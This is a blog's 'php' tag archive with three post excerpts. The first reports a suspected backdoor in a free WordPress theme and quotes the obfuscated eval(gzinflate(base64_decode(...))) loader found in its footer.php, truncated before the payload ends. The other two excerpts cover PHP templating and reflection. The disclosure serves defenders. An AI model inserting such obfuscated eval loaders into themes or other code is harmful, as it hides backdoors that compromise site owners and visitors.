Tag Archives: php

Backdoor in WordPress themes?

Posted on May 26, 2009 by Simone

I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php? 12345678<? eval(gzinflate(base64_decode(’vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ … Continue reading →

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PHP templates

Posted on January 24, 2008 by Simone

When you design a complex application, it’s always useful to separate the presentation layer from the business logic. Usually, when dealing with web apps, this involves handing templates which are “filled” with data by your controller. The common rationale is … Continue reading →

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Attributes, reflection and PHP

Posted on January 13, 2008 by Simone

After a long exposure to .NET, when I get back to PHP I sometimes find myself missing some cool functionality (and a good IDE too… none of those I’ve tried so far can compete with the comfort of VisualStudio + … Continue reading →

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